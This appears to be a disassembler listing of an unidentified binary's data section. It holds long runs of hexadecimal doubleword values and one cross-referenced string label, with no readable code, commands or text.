dd 0EB00C19Dh, 64CA0824h, 1D099F8h, 0D6498641h, 803183F9h
dd 5E6156C8h, 0E91B6B8h, 1BA6886Bh, 0C563A520h, 4D007205h
dd 87293E43h, 0CAF91Dh, 9250C646h, 45D0CDAFh, 833DFD00h
dd 0E75FFE2Eh, 14D40B39h, 70000372h, 91D09EE9h, 0F8602807h
dd 0E13095BCh, 0B891A97h, 36DD4AB3h, 8DD3AB00h, 0AC5805DCh
dd 8B603C7Fh, 83F08646h, 0ED9A31D9h, 290881FFh, 8842F42Ah
dd 0C8B82800h, 433F81A3h, 0A6D1072Bh, 3027D5C6h, 0DC33738Eh
dd 0F1E4E800h, 0BEBFA34Dh, 776A0147h, 0C7823667h, 0A22870C5h
dd 1CD76B07h, 98F0E680h, 73F22703h, 0C31507F5h, 40931DCCh
dd 9A8E16C9h, 3A0085E0h, 98BCB3E9h, 75326D94h, 3C221EABh
dd 0CC8C80ACh, 867ED0C8h, 6EC21100h, 624CB2C5h, 0B8470368h
dd 72BDE379h, 1D049E88h, 0DE885B00h, 0F2B60382h, 7A3C00D5h
dd 734C57FBh, 0AB00C115h, 4220C530h, 0E1E09EAh, 13AC11FDh
dd 0A418420h, 70003DF3h, 0C97E60D4h, 0F453069h, 0EACE3252h
dd 26BC6E0h, 757B883Ch, 0C1349900h, 0F31EB6E9h, 6F660025h
dd 4E40E39Fh, 0E0F06990h, 1FC7F800h, 72984945h, 0F2C401E7h
dd 0DB7D3B2Fh, 0EBF8202Dh, 96D6022Ch, 3F1DC600h, 0E5274A6h
dd 2513FE4Ch, 406D6181h, 0DBBBDCD4h, 80EE813Fh, 0CE476CF2h
dd 74B59378h, 2873E9h, 76D0EB1Bh, 30646B46h, 8424BF7Dh
dd 232890C7h, 0B099412h, 0DA2C6800h, 5AF7BBh, 0EB4847D9h
dd 77CB3C70h, 0DC0088E8h, 5156CED4h, 1AF263Eh, 12833167h
dd 0DCDDA3F8h, 0E100669Dh, 7F562F46h, 3D6B6538h, 0B7BCB4CBh
dd 73F44501h, 2071774Dh, 673CE399h, 0FD0C0028h, 81B7ED12h
dd 55FB00BDh, 0DC04CFDDh, 9A3AE1F0h, 0E75E2CB2h, 3A6B4B00h
dd 755B47BDh, 0FCD00025h, 0C221BC12h, 0B7B81A13h, 87B0500h
dd 0BA43F936h, 2BFC007Fh, 0C27AD39Ch, 921EAB25h, 0D2019D1Dh
dd 0DCA5DE65h, 907F6C24h, 0A6CA8A0h, 630D0EFAh, 13E0B2B9h
dd 84557CEBh, 0C42CF40Eh, 4840524Bh, 939CDE53h, 0CD7C0237h
dd 0D065CC9Bh, 0CA4881C0h, 89982A00h, 0BE0CA872h, 9E3A0022h
dd 73301BBh, 6300266Fh, 993819F9h, 7BA30E6h, 105AE32h
dd 0BCA4109Fh, 4B0091A3h, 0D3C882F3h, 4C7DCD9Bh, 0E500E483h
dd 0DEAB6510h, 0F47EE3EEh, 2445FF00h, 25FDC14h, 804F0019h
dd 0B0FA916Ah, 7839FEBBh, 0EBD200DAh, 0FCB26C31h, 9E4C2E1Bh
dd 0A7960066h, 0CD26301Ch, 53200CC0h, 13496F87h, 0F7BFA02h
dd 0FE078B5Ch, 65AB80E4h, 9A00E323h, 57754448h, 0F8339E13h
dd 0A1FE39h, 78F48338h, 0E33ED670h, 72679100h, 0AF68A05Ch
dd 0F3630090h, 5D6AB409h, 0E43F6D1Ch, 0F0E787C2h, 0FB00EF24h
dd 0B0294FC5h, 0ABDD1D1Dh, 127BFA59h, 5D39F3h, 467D9B8Ch
dd 9F0062DBh, 2EBA4E13h, 2ACA268h, 0CC5E8F8Ah, 0C0688979h
dd 800E7EFh, 44F5BF80h, 0ACEAC9h, 2EFF1181h, 0CDF31C29h
dd 76D30402h, 60061B27h
dd 0EC0B9C1h, 0A1116DFBh, 6C52FE60h, 467C4A15h, 33BCCD00h
dd 193A44B1h, 16101237h, 0FED3001Ch, 0C4FF626Ch, 12EE45F8h
dd 0B759B728h, 0C346E700h, 7AB38274h, 60F2E5C1h, 3CB2DE4h
dd 0CF623B43h, 0CAC0BDB6h, 7D07E4D7h, 0D0D9C03Eh, 9AB49F40h
dd 0DF7200FFh, 6849DDABh, 4102D821h, 0F9256B2Ah, 1BD08066h
dd 672985h, 0A9E1289Eh, 0FEF4F54Dh, 0B138E8F6h, 92958FD8h
dd 0DC001D70h, 2A1F088Bh, 0F2FCE5D7h, 0F04D0039h, 0DB75BF46h
dd 5800997Ch, 6D47CE1Ah, 219F274h, 3E95F4FAh, 6DE024E9h
dd 4900F7C8h, 60DD86DFh, 4D1026h, 0ED81171Dh, 0D2AA4878h
dd 6D6B6907h, 0C0FE4112h, 0A2A5C197h, 1D8A01E1h, 0C26C6F33h
dd 0F5AAECABh, 11192F03h, 9914D774h, 0B8E0CAD9h, 5EBB3BE0h
dd 0F0152500h, 8648EBA0h, 92DDED00h, 6728BDF4h, 65970001h
dd 0C6522B54h, 0D85C7EBCh, 3BF00C2h, 9618D74h, 6DB90069h
dd 2906EC20h, 81003EEBh, 53EDB75Eh, 7A07D4h, 0BA5FF4A6h
dd 6E157FE5h, 0A8CF10DFh, 2650646Fh, 1A7583h, 9E357129h
dd 0B5EBF038h, 31A45100h, 0E4BC49C1h, 0B8A1FF5h, 0FEEAC3DAh
dd 96301793h, 0F101387Bh, 0D37BD1h, 0BB78678Eh, 243F71F6h
dd 5AEE8F1Ch, 0ED08EFC0h, 2C3CA5C2h, 3FDD3E2Dh, 2485C800h
dd 4D26DA83h, 9FA0A10Bh, 9B45031Fh, 0A4C2F861h, 5A820097h
dd 1877FE03h, 0BB03E4A8h, 9A728F7Bh, 0F7D4C8FBh, 320400C3h
dd 2B3FD65h, 700F843h, 6CE4BEA7h, 0FCE07B94h, 98F73E8Ah
dd 1E3D7800h, 0FD733F63h, 74E1A01Ch, 2D9C4247h, 3A7F43Eh
dd 9872B70h, 0F882DB5Fh, 719B39h, 88E950D2h, 2E41A043h
dd 3B350D00h, 1DFEAAACh, 742800A1h, 1182D3E5h, 0C2007550h
dd 0C6E7154Ah, 2722B21h, 0D9E02A4Eh, 405DA15Ch, 528907h
dd 61B6E884h, 1533CF18h, 9278CA00h, 726BDFFEh, 83931F3Fh
dd 941FC03Ah, 0D34C7A64h, 38A74F01h, 7D8BE5CAh, 0EBC79C30h
dd 3785D8h, 861DDE90h, 12A42005h, 0D00152E6h, 0FE66672Ch
dd 5BD08FEBh, 0F48370CAh, 6D1B017Ah, 0E7E5310Fh, 33C1C08Dh
dd 697BC41Fh, 29AD0Eh, 0D5C53993h, 7D7200A7h, 0C491089Fh
dd 0A4002832h, 5C4A860Dh, 456348h, 5D0393AEh, 0E6F1902Eh
dd 344E8A03h, 0D8FA7C75h, 7526601h, 0A87E5173h, 2628F09Fh
dd 30003BFCh, 8A4277Dh, 0CFB2C6h, 0D6F61E1h, 89216A32h
dd 9E7A6D03h, 0C00BEA76h, 787B48E3h, 85343EFFh, 7A62B400h
dd 4BB72B3Eh, 0A801E40Fh, 0A78960FCh, 0D50506h, 0EAEE4183h
dd 16E892DAh, 70C030DCh, 78095634h, 30F7086h, 0C958CC57h
dd 82A01C01h, 3058B24Dh, 0B89A0515h, 0E000A251h, 0DD387780h
dd 0A0075047h, 0ADBE016Ch, 0E20DE958h, 0BB17C921h, 3CEA8E60h
dd 6414E150h, 9D60430Ah, 7757B96h, 0C139186h, 0F430609Dh
dd 6D70A9DDh, 0BFCB7200h, 0B6638AA8h, 0DAF431h, 18FE0607h
dd 0AC9C0B21h, 60FA8000h, 0AE67F709h, 0A6BC00CEh, 8F85CB69h
dd 0E0072B6h, 0C91A18A3h, 3C3789Fh, 89F6B02Dh, 88F0BE28h
dd 973D8F02h, 0CC0101F2h, 8926F7Ah, 6A37D0h, 3CB8FC15h
dd 9EC685E3h, 0A9596C01h, 8BD3B998h, 28A534E0h, 0C87E1Fh
dd 0EDB8C9E9h, 0E2729FECh, 67605800h, 0E524E5Ah, 3D4C0059h
dd 0EE71F533h, 0F85C5EA5h, 7E851CE6h, 44B89D80h, 3B049AFh
dd 41FEBF35h, 0B5D86BC9h, 4F00A381h, 900F15ACh, 701E1Fh
dd 22571248h, 73A58BE3h, 6810C100h, 0EE2F5F9Ch, 2CE500A3h
dd 75F33E4Fh, 770695B0h, 9033293Ch, 0B74A005Eh, 9FC2F7F4h
dd 6E038E63h, 7BF55788h, 51BD90D0h, 3AC40737h, 77E2FC46h
dd 56EB3047h, 62C5BEEh, 800F3C3h, 0A7F5F792h, 0B18000C5h
dd 0DA694818h, 227471D5h, 0BCA030FEh, 150036B6h, 0E8CE6DA6h
dd 27C55D2h, 44A7E314h, 67482726h, 3200B316h, 34DC9BACh
dd 20E6ECh, 545551E1h, 0F517EB6Fh, 8A092701h, 35A6119Fh
dd 39B70FCh, 0B6DD499Dh, 9EC82142h, 70BF62CAh, 768F00DDh
dd 0E7A9EF98h, 0A812CC55h, 0DA00D4B6h, 6BF07275h, 0A01301FDh
dd 6501F227h, 7957208Eh, 6DF11A1Dh, 72B35240h, 16E4D693h
dd 4B025h, 0D4467F6Fh, 0FF0386B1h, 0E676A971h, 0A594A036h
dd 0EEC900F6h, 479E54B6h, 0AA008CDDh, 1E3F61EDh, 87B22h
dd 45893EEFh, 0F41F05D2h, 0B0422E00h, 7E17E5B6h, 119D0706h
dd 0E0604E63h, 5A404756h, 0F1EC4A00h, 0D6249AA9h, 2D7F2C91h
dd 0CC8E00A2h, 3EDA89FDh, 5FF63000h, 5A4EB960h, 0B2FF0716h
dd 6B6704DDh, 0FB4A0180h, 0B30094FCh, 684E5DF1h, 73E12C52h
dd 0E47B00BAh, 88A950A8h, 37019CB5h, 594AC1A3h, 5C20339Bh
dd 487D0026h, 1BCA4E62h, 0E0003C36h, 0F4D30732h, 343F98Dh
dd 0ADE52A12h, 1CF0853Fh, 1400C8FEh, 8A572D48h, 0F341F5h
dd 5B5628ACh, 4A84929Eh, 1D6C2E00h, 4C02B8CFh, 41550040h
dd 1ED4B1ADh, 100C3AEFh, 70A77DA8h, 16E0098h, 0E270E4D1h
dd 7F1C2C1Eh, 6386F228h, 0F5082C1h, 0EB161D01h, 807D6465h
dd 6C54EF1h, 842B4238h, 204C7F8Dh, 0F1A53080h, 37DA00D0h
dd 0CF5136DEh, 5F0089D9h, 28127DF5h, 74993F54h, 0AC6C0031h
dd 84B23F4h, 1700DC58h, 0F3A02E07h, 0E87BFFh, 0A27DE06Ch
dd 0F874EE0Eh, 65309D00h, 103699D4h, 0DEFB0113h, 0A7CA1A7Bh
dd 80CC45FDh, 33AB839Ah, 0B2018DF4h, 0F48FE389h, 73F871EEh
dd 59148C2h, 841E3500h, 0E43D1ABFh, 83EE0F3Ch, 0CDE2F985h
dd 1BDEE099h, 0CBE500BEh, 7F234B15h, 0B000BD86h, 3AB5A027h
dd 6B51FAh, 9158CEF2h, 8B7FDEEBh, 9DC63Bh, 61BF565Ah, 7DBDF235h
dd 0DEEA014Ah, 0EC93A821h, 0FD8EEC31h, 0A4869600h, 0B0E53F9Eh
dd 8878C0h, 0CF68333Ch, 7987AEE6h, 0AD0090E2h, 0E341EC15h
dd 84BD31h, 0C719D65Ch, 1C52ABCDh, 6143Fh, 0EDF02A7Bh
dd 1096E10h, 0F3CBB8E4h, 0DCA4FCAEh, 8032349h, 0D0205E3Dh
dd 0A1EE81E8h, 0E1C95C30h, 0FC1812F0h, 39C800CBh, 23CA28A0h
dd 73003E2Ah, 30AD2F3Bh, 92989Bh, 11DDB812h, 0D429BF5Bh
dd 8FFD3400h, 45C07C5Ch, 0ECB4A18Ah, 6210CCh, 0F984FC98h
dd 11E1BC2Ah, 73639E1Eh, 5E8275C0h, 0B08B686Ch, 285A07D0h
dd 0C0028E1Ch, 4D79849h, 1D9A4103h, 0F03612D6h, 199B3F9h
dd 892AD96Fh, 0E4B4DD07h, 2200BA59h, 43CFD0BBh, 319CAC3h
dd 5D80A1F3h, 6788AE29h, 70033891h, 36ED4F2h, 4AC3901Eh
dd 0FA4E0009h, 7B012F44h, 625894DBh, 6ED6032Eh, 0DB896326h
dd 1DE898ACh, 0C05C07FAh, 0D07A987Fh, 8542F2CAh, 84339F00h
dd 40FC0B3Bh, 0A92B00BFh, 79CEE520h, 3E1E2717h, 99DDA722h
dd 0CC49063Ch, 0D01690h, 2567CF83h, 2AAF06DCh, 91AA4B00h
dd 240BB503h, 11200053h, 25524F18h, 6C0F8C8Eh, 61ABC474h
dd 0C2099D8Fh, 0A6A4B03Eh, 0DF783C00h, 950CC7F3h, 176401CBh
dd 0E8E18387h, 26B07F73h, 94390035h, 14516D2Eh, 0E500C4FBh
dd 0A57E824h, 0D51D98h, 0EBB16465h, 926C55BEh, 6D90DDFEh
dd 32ED4707h, 57522B67h, 0C448607Dh, 911300FFh, 4DBCEBA9h
dd 930046DEh, 33ED7928h, 3EC8A1C5h, 6C805F0Fh, 86EC45CEh
dd 7F00F6CCh, 89233D2Bh, 398A23Eh, 481FF942h, 17993B38h
dd 3FF2F346h, 0B4D70C0h, 9F9E4000h, 0EE1C4B8Bh, 1468001Ah
dd 3FB2A00Eh, 0EF009931h, 62F0F941h, 289EB7DFh, 37E6880Ch
dd 30A01276h, 7C4F38DBh, 8CFF3B00h, 0E84C1CF6h, 865035Bh
dd 0B320015Dh
dd 1FAAB680h, 404BC11Dh, 0F4819D40h, 32A886Bh, 9AD233D5h
dd 0E4C8D1EBh, 0AC002ECEh, 37D7BD48h, 77CE1D3h, 0AAA795CBh
dd 2C46F0C8h, 0E7007156h, 225AAF8Bh, 6554C3h, 760C9C6Dh
dd 0D12BB810h, 0F20071E0h, 0BE780514h, 949D1Fh, 26C59690h
dd 8AC1FA11h, 4EB3F000h, 0D0D5ED38h, 0F46E2C97h, 0FEE20065h
dd 60313301h, 322B770Ah, 2D00ECD6h, 9312CA6Bh, 9B6E0087h
dd 0D70DC26Fh, 0B4005AC9h, 4060B3D0h, 98FC6B3Fh, 8055397Fh
dd 0C766A800h, 31BC987Ch, 2B6E3700h, 3B701C97h, 0F672004Dh
dd 6143D82Ch, 35FE7885h, 9A4E4F00h, 1F215D1Ah, 4ADB0198h
dd 0AFB4F934h, 75DCDCCBh, 0B29C9100h, 0C2F430BAh, 0A079002Fh
dd 0BE6425EEh, 9A0065A5h, 0E9057E07h, 3E4D2C48h, 0FE800AB7h
dd 5F321182h, 790057B3h, 1EE79226h, 55074CDh, 8A161762h
dd 8B86809Bh, 881FEFD9h, 2B5D0510h, 856FE780h, 0DE75F0h
dd 0F5074A14h, 3D9F4469h, 512D5B1Fh, 0AA852444h, 0B5A180FBh
dd 0E87CE645h, 21DDF900h, 0DB0CAF25h, 0A66A0369h, 1E317BC9h
dd 0B0E6CB88h, 0EA10AE00h, 0ECFCD8A9h, 97EB0567h, 0C03B79A8h
dd 538772ACh, 0DEACE301h, 0C0773863h, 4B6540EAh, 2BFA14FBh
dd 0F205A07Fh, 0C0BFB351h, 5963C3A7h, 5DDDC801h, 6CFAC406h
dd 2E5E70h, 0BF9EFB5Eh, 55EBAA2Ah, 0DD42D500h, 98D1A06Eh
dd 0A3D40078h, 0A5E472ABh, 0E6001AFEh, 0EEB7AEA1h, 3A6AE0h
dd 589E1D2Ah, 7CFF9068h, 0E998E506h, 0F605B3Fh, 0DAB3DD7Dh
dd 5004EA9h, 5EF7AE10h, 4FCC500Fh, 0F1F60008h, 18D17996h
dd 988EDC94h, 9009995h, 0B07114FBh, 1729D91h, 0F9253BD4h
dd 0E1358C5Eh, 16DBCCDDh, 6942FA03h, 0B0DADF7Dh, 0EAF75EFBh
dd 0E36D1864h, 2D0751FEh, 6E1B00Ch, 728117Dh, 0C9C8FDE2h
dd 64FA5356h, 80DB10E1h, 0AA9CE131h, 0A0258877h, 1FFCBF64h
dd 0DC2AABh, 0D8A37E79h, 9500C7EAh, 5E904A18h, 961C54h
dd 0FEA4934Ch, 8F4525B6h, 0D5BE6000h, 9BB55287h, 7D0E008Ah
dd 55C5069Dh, 6A004C95h, 0FFD7104Dh, 0CB4741h, 0C8537C86h
dd 0D1125CF3h, 0EB003E72h, 7E9FC25Bh, 76407BAh, 0FF6BE440h
dd 17DAC0ACh, 0AE008CC0h, 0C8A06190h, 3C5A23h, 0E85F50D3h
dd 0E2353875h, 0E9C4F200h, 0DDC7A89h, 0DB303DC1h, 0BD265A80h
dd 8BDE1C15h, 8350A978h, 84A071D1h, 927059F8h, 170CC30Ah
dd 4740A0A7h, 7BCC53Ch, 89B0C737h, 0D303D028h, 0FF001F66h
dd 4C3810C6h, 567FAh, 0F302B0F2h, 756C32C0h, 0D77FD2Eh
dd 3DB87D03h, 34400AD6h, 94B45D96h, 76B8046Ch, 3143FCA3h
dd 9C04BE04h, 6F694117h, 95C929E0h, 6F9AD002h, 0C06BC5A1h
dd 0E259EF84h, 412500A2h, 4F6C20EEh, 0EC001884h, 89D86934h
dd 0CBA8356h, 8BC3DED7h, 2D00F228h, 0A269477Ch, 0F57246h
dd 50349E38h, 0D3455D10h, 138F1519h, 67D81720h, 0D91629FFh
dd 0E548C120h, 0DB0C9Dh, 0FD4F6BE8h, 693A2C88h, 381BA70Ch
dd 72C86Ah, 0EB8C0CE9h, 6F87F8B8h, 8D501CF0h, 0D300F408h
dd 5E407099h, 0E07FCD9Dh, 0EF1E0EF2h, 280F60AEh, 0DE970C80h
dd 24E4AD25h, 0FA0993Ch, 5823C527h, 828E6E60h, 3C1AF3C0h
dd 3A2BEF00h, 96CE8619h, 0EC28C3C8h, 50A611D3h, 0E2B48F54h
dd 60591D14h, 0F6AA2CA8h, 465FD600h, 7C3EAEB7h, 2F61C0C3h
dd 865E43C4h, 0F6B873Ch, 0A2DEBF1h, 688020EDh, 0D479B5CFh
dd 364385F6h, 0E3B02AB1h, 0D0350120h, 0A60FCC40h, 52101F87h
dd 4C0A6B0h, 0BCE66AF1h, 0C10E7C84h, 91442441h, 0C041006Fh
dd 0AC722Dh, 0EA659CC8h, 3711567Eh, 9001E70h, 0A7D9679Eh
dd 7CD32057h, 2D460025h, 0A2646586h, 0FB78D6A0h, 70481B08h
dd 85C7ADh, 0EF58D6D8h, 0FC8A147h, 0C7814284h, 46F72082h
dd 0CCE10010h, 0D64ABD62h, 643EAEECh, 212144F8h, 0C487A281h
dd 208A20C9h, 4C3235C0h, 0C4EF47E8h, 0F439A878h, 0AA3A6DAEh
dd 41501119h, 0E279FBA1h, 20D86E39h, 750E0191h, 0A618AE1Bh
dd 53100F32h, 480A65Ah, 0AD3C5F44h, 42AF7CECh, 73B09476h
dd 8B232671h, 61FBE219h, 0CB8820B3h, 7915B8E7h, 0B140EFEBh
dd 204A11BFh, 0B6A78F05h, 0D86078A9h, 0A8C0CA50h, 0E438AD12h
dd 988FB800h, 909E31B4h, 24F700E0h, 0A255C970h, 510E1023h
dd 87BBB6F5h, 0A089D1F2h, 0B0EC1A58h, 50370F24h, 0FB09B361h
dd 0C02054A8h, 0AD7C5806h, 3CDF4485h, 1831080Fh, 0E3F94F27h
dd 4F60020Fh, 2050180Ch, 593F712Fh, 0E107AA01h, 522C4E7Eh
dd 0BDFBDE0h, 0EBA179D9h, 714BA080h, 1A006420h, 47EF2868h
dd 0A7673441h, 51F51D20h, 643DC0DAh, 0FA322254h, 0D908F49h
dd 5F85A2F0h, 0C040D853h, 7A430E70h, 23953AA2h, 8641B700h
dd 42693524h, 0CB59D900h, 0E08520B5h, 7087C3Dh, 3B7F43FBh
dd 4123B69Dh, 0C1A3DE21h, 0F6D73B1Fh, 0DD721D15h, 2C87C396h
dd 283E611Ah, 0F40B039Ah, 0C01316A4h, 3AA2E99Ch, 0CB9E7719h
dd 0B6378C91h, 8807EB18h, 1D2C7D4Eh, 0C0E42AC3h, 2964F925h
dd 8120EABBh, 33870553h, 69211FC6h, 59A2E561h, 906BA9EBh
dd 0FE4D101Fh, 3DA3D0A7h, 0AF908CBEh, 0FE533FF4h, 33218420h
dd 0A205D228h, 6E9F97F7h, 0A5714078h, 0B43A8160h, 1F91C7E7h
dd 0A0FD9510h, 1548A3F5h, 207B3F50h, 0FC99E1h, 3EFDB7h
dd 2E9C37BAh, 2FF923B3h, 5C3F080Fh, 0A0E1C093h, 70BFA20h
dd 6D8B7943h, 0B5870909h, 0B435C09Ch, 77512BBh, 7E7F111Eh
dd 30FDE02h, 0F820B034h, 0FF9B1115h, 1EAEF20Ah, 24415604h
dd 0AA7C11DAh, 0F9F48187h, 1F103EAFh, 35E06621h, 853174FFh
dd 413CDA44h, 53E94308h, 0ED6F809h, 0C4370287h, 40BC712Eh
dd 1D419260h, 3A5D9F08h, 448021D5h, 38A66076h, 0A5FC2D41h
dd 0CB34F400h, 0CD56E184h, 187060DBh, 0F04E1A2Fh, 511E1C90h
dd 0C1072BD8h, 208AABA9h, 0A1F67940h, 0B2504245h, 0CCA520C5h
dd 449096B7h, 0CAD3AE09h, 1C48B87Bh, 0F7C0FECh, 0F4E3222Ah
dd 0FAE85243h, 930760CCh, 249928DBh, 9BC87980h, 0DCD50BDAh
dd 80D53967h, 0D642F5B2h, 44722BB2h, 0C9A56220h, 5640041Ch
dd 7C28CD74h, 55C48841h, 28181033h, 2660E090h, 0F038FC8Eh
dd 0AD9C3E96h, 0ACE6F800h, 99EE1D6Fh, 0C3A218C0h, 38E7B3F7h
dd 9F3C3E32h, 1F31267Ch, 0A020211Bh, 8FEF159Bh, 44B7203Fh
dd 8C83830h, 3C2BBE98h, 404B66F9h, 0D7277605h, 0FA6078AFh
dd 0A8D88085h, 0E32584FBh, 6E1020AFh, 0FE5E69F0h, 84609B57h
dd 0E2283482h, 0A210AB0Eh, 0F93F288Bh, 4204B2Ah, 87C8D850h
dd 60D62B2Ah, 76ABDA80h, 47CD2484h, 0C0DECA6Fh, 11637178h
dd 0F13E7461h, 0A3072h, 0CF31A8B7h, 8F3C2AE3h, 0E474C187h
dd 0A0301D84h, 0D41540ADh, 0E240A6A5h, 40C01606h, 0B97DA929h
dd 9A888F6Fh, 2E3B702Fh, 3FA4F811h, 40B80EF2h, 0BF08A8E8h
dd 54CAB466h, 40500BF5h, 2308FA7Eh, 1EE43ED0h, 4C0BC2Dh
dd 3C9EECE7h, 0FD52B27Ch, 3B948120h, 405E84DBh, 80FD4614h
dd 4FAF93E0h, 8A40A257h, 0C578A076h, 0C87E217Dh, 0A531CA50h
dd 7C043F20h, 7C39DDECh, 0B781C07Eh, 0D4A0FE08h, 0AB1DE1ECh
dd 430040D7h, 0E20F5CB6h, 0E30A018Fh, 0A7105032h, 2728413Ah
dd 38409CB9h, 0BF2CFC00h, 746F45Ch, 40DDB864h, 0A0FFE0D7h
dd 0A00BD6Fh, 9E96D397h, 6E76EDC3h, 33E851E4h, 0B060FF05h
dd 69A02021h, 0F739000Fh, 257A32DDh, 94E1C0B2h, 0DC7C95BBh
dd 0FE2058C2h, 0C39E0763h
dd 0F806A385h
db 7Ah
aNU1 db '}î1',0 ; DATA XREF: ___:off_43811Co
; ___:off_438134o
dw 0D24Dh
dd 4898E627h, 78C71CBAh, 0A203B680h, 25681856h, 6B55A843h
dd 6400E676h, 774CF593h, 0A06DA1h, 0AF865F08h, 0BCE7B4B8h
dd 9C706B00h, 0C21C8FAAh, 8A080120h, 76FB2DBh, 8880C651h
dd 15F2BE1h, 843150C0h, 64A0DCh, 0B8A19541h, 0DCECA06h
dd 462A6005h, 0C860C252h, 0BDC551Eh, 0F045022Dh, 0FA198000h
dd 96002AFEh, 0D498ACDBh, 0C7D88B75h, 0B0F40568h, 0EF6B518Ah
dd 16899C00h, 5FB8209Dh, 28090E8Dh, 5100173Ch, 0A194868Ah
dd 0D4E85839h, 3005CF0h, 0AC20A36Fh, 214A66h, 60935B50h
dd 979B33DBh, 980A8B00h, 173F91F5h, 29AC0009h, 511C3458h
dd 86055C89h, 0B208AA6Fh, 0C57AA420h, 0CED8A872h, 6AEB30E2h
dd 1A8C6E18h, 0EF90C0A0h, 55530A03h, 0DE482EC5h, 390B0EA8h
dd 56010147h, 716CB24Ah, 0E8C8060Ch, 83DCD00Bh, 10288D65h
dd 0C3131885h, 8158D7CFh, 81148C5Fh, 11BBA261h, 5C2019D9h
dd 0B2090903h, 280061F9h, 0AFEC33D2h, 0D8DF6801h, 21FDD4F4h
dd 3085EFCh, 0D342C3B6h, 0D9C09F26h, 6E1D7C1Ch, 0EA807269h
dd 9345FDFh, 0E9E20071h, 0FA686D9Eh, 5C333162h, 0AAA15093h
dd 5CB4155h, 0A9DC1487h, 389D3661h, 3085E450h, 0EA08E103h
dd 98F46005h, 0C9A113h, 0BED4D6BAh, 0A550689Fh, 80C0EDEAh
dd 0BF116F1Dh, 0E5E0F980h, 18C06902h, 0BCD66180h, 0DF37E99Dh
dd 0BBC0C01Bh, 3A2FDB3Ah, 0E73C8B30h, 7A86A403h, 57CF2C62h
dd 881CC019h, 0E1D09CF4h, 0AD47019Ch, 81D655D1h, 39BF99Fh
dd 0E6CE6EBEh, 180D1822h, 81EFE9DDh, 38069E69h, 7B031727h
dd 0F3821BA0h, 0D1F1B8A4h, 0B0BAD9A9h, 0CCB98CA1h, 21C60FDAh
dd 6A457042h, 0EF600CD1h, 191C5A90h, 20D869F1h, 38DAD0h
dd 0B22AE0D5h, 1BB0E7F4h, 250828C5h, 451D600Eh, 704163DEh
dd 4780D640h, 0A669C841h, 0BB09E0h, 0B7CD2808h, 26DC5C23h
dd 564801FCh, 0F39F01DFh, 41378B21h, 806AF2E3h, 8E72A3FBh
dd 4BACA8B0h, 0A0980E4Fh, 38B90C66h, 0E4CE208Bh, 885A0B29h
dd 5F389200h, 689B7E51h, 0D88091h, 81F4630Ah, 0B9246E40h
dd 654024FFh, 3C8B1AFEh, 0F08C59C9h, 5E48DE72h, 0D2824B12h
dd 7834104Eh, 28663F61h, 39845D4h, 616AFFF5h, 6800F28Fh
dd 672C5412h, 904BF45Fh, 0E1050160h, 0B7C7076Ch, 1CFE0DFh
dd 4913D8E9h, 57AD20C0h, 0F216BA0Fh, 82190572h, 1FC0CCE7h
dd 0F98F0FE4h, 0D8A0879Dh, 1290BA96h, 0AC4C0852h, 956E5581h
dd 58249C09h, 4D0CA9A8h, 942A6423h, 4429740Ch, 7388F09Dh
dd 8665008Fh, 0D06067AAh, 630C1A08h, 0A8449B07h, 48172887h
dd 0D63F05FCh, 0EBD2DCh, 3138CD80h, 1C804AD8h, 0A97214F1h
dd 0B401A019h, 24E2DB06h, 0EC188825h, 0BA9B421Dh, 0E784888Fh
dd 82289024h, 60FC84B3h, 130B380Ah, 5407F025h, 1E9D9D6h
dd 62D8A100h, 58EDFC50h, 6040F3ACh, 0EF0C7E7h, 778267A7h
dd 0D5C62455h, 0A8801964h, 20987C24h, 0AC2950EEh, 0D60190B5h
dd 67A14531h, 333098F2h, 5256043Ah, 864F82h, 316A8170h
dd 80B553ECh, 0F91AEB08h, 0E4F22A80h, 135C1B27h, 40770764h
dd 0D651A96Ch, 4490DE6Fh, 3E38EEF8h, 4897B15Eh, 1FCB75Dh
dd 2688C040h, 0D0E70525h, 8806F092h, 7DCC0B31h, 24843DC0h
dd 0B9531C09h, 0B09CBC00h, 12ADA06h, 0B3283CE5h, 79DDC4BDh
dd 2284FFD1h, 3C9D318Dh, 0BF43B018h, 82721C11h, 1121C72Fh
dd 0FD784DCAh, 0A6A30C49h, 0AF16213Ch, 0C13B4988h, 99C0B78h
dd 554AC4DFh, 0E5E609E0h, 6EDDC05h, 0A97C9C18h, 2D89906h
dd 0FE201E50h, 0D6B40A0Eh, 42303A91h, 302C169Ch, 881AE2E2h
dd 6F3B0203h, 19448B1h, 0F00408D9h, 604C1FD6h, 2389434Ah
dd 166C88CDh, 9C46AA6Eh, 1AE5C3C1h, 10855E08h, 0FC57C43Ch
dd 0CA75261h, 46D8AE25h, 3C94291Ch, 0D8CD1B8Ah, 5D40D880h
dd 0EE26D29Fh, 0E7D51265h, 39B4029Dh, 304ED00Bh, 1E53AB10h
dd 6158568Ah, 8DEFB03h, 1094AE93h, 88E98DFAh, 1B04EE7Dh
dd 7FFC219Dh, 0CFD5318h, 0BD0484EAh, 0C0053EA4h, 0D7F66C87h
dd 0A6659031h, 54D65384h, 0DFB8BB08h, 0E920AF44h, 8247CE6h
dd 18A0E48Ah, 0C4321329h, 0BEC42B91h, 997532BFh, 0E831886Ch
dd 7A446C07h, 6024609Fh, 7904C278h, 9102A3Eh, 7A5C2B18h
dd 0AA2B049Ch, 0B88A2220h, 0A84B4F84h, 43E6E36Ch, 8FFE10EBh
dd 10E28DC8h, 0ECD89936h, 43073C4Ch, 88BA23ADh, 0A86E43FBh
dd 62AAC4E1h, 487039BDh, 0BD50FB78h, 79C486F4h, 8E324AD3h
dd 86428338h, 6E4FF52h, 0FB7CE894h, 0E4FC8311h, 4A552C81h
dd 229C308Bh, 0FE60A48Dh, 0FA084E19h, 43E5E1Ah, 0EE448211h
dd 90D8C69Ah, 0C0266928h, 6208AA8Ah, 9CB078A0h, 1A42E19Fh
dd 10BE9623h, 0EF89DC68h, 36CAB039h, 3CE91144h, 8081C082h
dd 0D85CF011h, 19B8213Bh, 5BC64611h, 0E12E7965h, 6711B468h
dd 0F11E0B75h, 74020681h, 0E8C4B863h, 0B1D9A20h, 3758077Eh
dd 7A874401h, 52C07077h, 0A3A0D617h, 0A5FACC23h, 0FE31DCD1h
dd 1B14F028h, 99CA24F6h, 842002D6h, 2485BCB6h, 0E5DC4397h
dd 9940EE0Bh, 49DA5390h, 6582460h, 7BD83749h, 832C28B0h
dd 5F0BF454h, 21009052h, 7F048740h, 9A4B57B9h, 70923093h
dd 0D290A88Dh, 5F00D050h, 19F3501Ch, 0E7C20BF9h, 0AA1E9448h
